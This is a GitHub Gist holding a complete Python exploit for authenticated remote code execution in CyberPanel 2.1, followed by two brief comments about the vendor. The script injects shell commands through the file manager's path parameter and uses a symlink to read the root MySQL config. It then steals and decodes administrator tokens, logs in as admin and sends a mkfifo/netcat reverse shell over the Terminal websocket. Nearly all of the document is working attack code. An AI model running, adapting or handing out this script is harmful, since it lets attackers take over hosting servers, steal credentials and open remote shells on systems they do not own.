Created
August 27, 2021 03:38
-
-
Save numanturle/7a74dc4a756730c0a04b901dc552ffbc to your computer and use it in GitHub Desktop.
CyberPanel - Remote Code Execution (Authenticated) ( Version 2.1 )
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# -*- coding: utf-8 -*- | |
# CyberPanel - Remote Code Execution (Authenticated) ( Version 2.1 ) | |
# author: twitter.com/numanturle | |
# usage: cyberpanel.py [-h] -u HOST -l LOGIN -p PASSWORD [-f FILE] | |
# cyberpanel.py: error: the following arguments are required: -u/--host, -l/--login, -p/--password | |
import argparse,requests,warnings,json,re,base64,websocket,ssl,_thread,time | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
from cmd import Cmd | |
warnings.simplefilter('ignore',InsecureRequestWarning) | |
def init(): | |
parser = argparse.ArgumentParser(description='CyberPanel Remote Code Execution') | |
parser.add_argument('-u','--host',help='Host', type=str, required=True) | |
parser.add_argument('-l', '--login',help='Username', type=str, required=True) | |
parser.add_argument('-p', '--password',help='Password', type=str, required=True) | |
parser.add_argument('-f', '--file',help='File', type=str) | |
args = parser.parse_args() | |
exploit(args) | |
def exploit(args): | |
def on_open(ws): | |
verifyPath,socket_password | |
print("[+] Socket connection successful") | |
print("[+] Trying a reverse connection") | |
ws.send(json.dumps({"tp":"init","data":{"verifyPath":verifyPath,"password":socket_password}})) | |
ws.send(json.dumps({"tp":"client","data":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 1337 >/tmp/f\r","verifyPath":verifyPath,"password":socket_password})) | |
ws.close() | |
def on_close(ws, close_status_code, close_msg): | |
print("[+] Successful") | |
print("[!] Disconnect from socket") | |
session = requests.Session() | |
target = "https://{}:8090".format(args.host) | |
username = args.login | |
password = args.password | |
print("[+] Target {}".format(target)) | |
response = session.get(target, verify=False) | |
session_hand = session.cookies.get_dict() | |
token = session_hand["csrftoken"] | |
print("[+] Token {}".format(token)) | |
headers = { | |
'X-Csrftoken': token, | |
'Cookie': 'csrftoken={}'.format(token), | |
'Referer': target | |
} | |
login = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":username,"password":password,"languageSelection":"english"}) | |
login_json = json.loads(login.content) | |
if login_json["loginStatus"]: | |
session_hand_login = session.cookies.get_dict() | |
print("[+] Login Success") | |
print("[+] Send request fetch websites list") | |
headers = { | |
'X-Csrftoken': session_hand_login["csrftoken"], | |
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]), | |
'Referer': target | |
} | |
feth_weblist = session.post(target+"/websites/fetchWebsitesList", headers=headers, verify=False, json={"page":1,"recordsToShow":10}) | |
feth_weblist_json = json.loads(feth_weblist.content) | |
if feth_weblist_json["data"]: | |
weblist_json = json.loads(feth_weblist_json["data"]) | |
domain = weblist_json[0]["domain"] | |
domain_folder = "/home/{}".format(domain) | |
print("[+] Successfully {} selected".format(domain)) | |
print("[+] Creating ssh pub") | |
remove_ssh_folder = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"path":domain_folder,"method":"deleteFolderOrFile","fileAndFolders":[".ssh"],"domainRandomSeed":"","domainName":domain,"skipTrash":1}) | |
create_ssh = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)}) | |
create_ssh_json = json.loads(create_ssh.content) | |
if create_ssh_json["status"]: | |
key = create_ssh_json["deploymentKey"] | |
print("[+] Key : {}".format(key)) | |
explode_key = key.split() | |
explode_username = explode_key[-1].split("@") | |
if explode_username[0]: | |
username = explode_username[0] | |
hostname = explode_username[1] | |
print("[+] {} username selected".format(username)) | |
print("[+] Preparing for symlink attack") | |
print("[+] Attempting symlink attack with user-level command execution vulnerability #1") | |
target_file = args.file | |
if not target_file: | |
target_file = "/root/.my.cnf" | |
domain_folder_ssh = "{}/.ssh".format(domain_folder) | |
command = "rm -rf {}/{}.pub;ln -s {} {}/{}.pub".format(domain_folder_ssh,username,target_file,domain_folder_ssh,username) | |
completeStartingPath = "{}';{};'".format(domain_folder,command) | |
#filemanager/controller - completeStartingPath - command execution vulnerability | |
symlink = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain}) | |
symlink_json = json.loads(symlink.content) | |
if symlink_json["status"]: | |
print("[+] [SUDO] Arbitrary file reading via symlink --> {} #2".format(target_file)) | |
read_file = session.post(target+"/websites/fetchFolderDetails", headers=headers, verify=False, json={"domain":domain,"folder":"{}".format(domain_folder)}) | |
read_file_json = json.loads(read_file.content) | |
read_file = read_file_json["deploymentKey"] | |
if not args.file: | |
print("-----------------------------------") | |
print(read_file.strip()) | |
print("-----------------------------------") | |
mysql_password = re.findall('password=\"(.*?)\"',read_file)[0] | |
steal_token = "rm -rf token.txt;mysql -u root -p\"{}\" -D cyberpanel -e \"select token from loginSystem_administrator\" > '{}/token.txt".format(mysql_password,domain_folder) | |
print("[+] Fetching users tokens") | |
completeStartingPath = "{}';{}".format(domain_folder,steal_token) | |
steal_token_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"completeStartingPath":completeStartingPath,"method":"listForTable","home":domain_folder,"domainRandomSeed":"","domainName":domain}) | |
token_file = domain_folder+"/token.txt" | |
steal_token_read_request = session.post(target+"/filemanager/controller", headers=headers, verify=False, json={"fileName":token_file,"method":"readFileContents","domainRandomSeed":"","domainName":domain}) | |
leak = json.loads(steal_token_read_request.content) | |
leak = leak["fileContents"].replace("Basic ","").strip().split("\n")[1:] | |
print("------------------------------") | |
for user in leak: | |
b64de = base64.b64decode(user).decode('utf-8') | |
exp_username = b64de.split(":") | |
if exp_username[0] == "admin": | |
admin_password = exp_username[1] | |
print("[+] " + b64de) | |
print("------------------------------") | |
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~") | |
print("[+] Try login admin") | |
headers = { | |
'X-Csrftoken': token, | |
'Cookie': 'csrftoken={}'.format(token), | |
'Referer': target | |
} | |
login_admin = session.post(target+"/verifyLogin", headers=headers, verify=False, json={"username":"admin","password":admin_password,"languageSelection":"english"}) | |
login_json = json.loads(login_admin.content) | |
if login_json["loginStatus"]: | |
session_hand_login = session.cookies.get_dict() | |
print("[+] 4dm1n_l061n_5ucc355") | |
print("[+] c0nn3c71n6_70_73rm1n4l") | |
headers = { | |
'X-Csrftoken': session_hand_login["csrftoken"], | |
'Cookie': 'csrftoken={};sessionid={}'.format(token,session_hand_login["sessionid"]), | |
'Referer': target | |
} | |
get_websocket_token = session.get(target+"/Terminal", headers=headers, verify=False) | |
verifyPath = re.findall('id=\"verifyPath\">(.*?)</div>',str(get_websocket_token.content))[-1] | |
socket_password = re.findall('id=\"password\">(.*?)</div>',str(get_websocket_token.content))[-1] | |
print("[+] verifyPath {}".format(verifyPath)) | |
print("[+] socketPassword {}".format(socket_password)) | |
print("[+] Trying to connect to socket") | |
ws = websocket.WebSocketApp("wss://{}:5678".format(args.host), | |
on_open=on_open, | |
on_close=on_close) | |
ws.run_forever(sslopt={"cert_reqs": ssl.CERT_NONE}) | |
else: | |
print("[-] Auto admin login failed") | |
else: | |
print(read_file) | |
else: | |
print("[-] Unexpected") | |
else: | |
print("[-] Username selected failed") | |
else: | |
print("[-] Fail ssh pub") | |
else: | |
print("[-] List error") | |
else: | |
print("[-] AUTH : Login failed msg: {}".format(login_json["error_message"])) | |
if __name__ == "__main__": | |
init() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I came to mention the not give a fuck this vulnerability by CyberPanel
usmannasir/cyberpanel#719
That's why you never should anger a developer.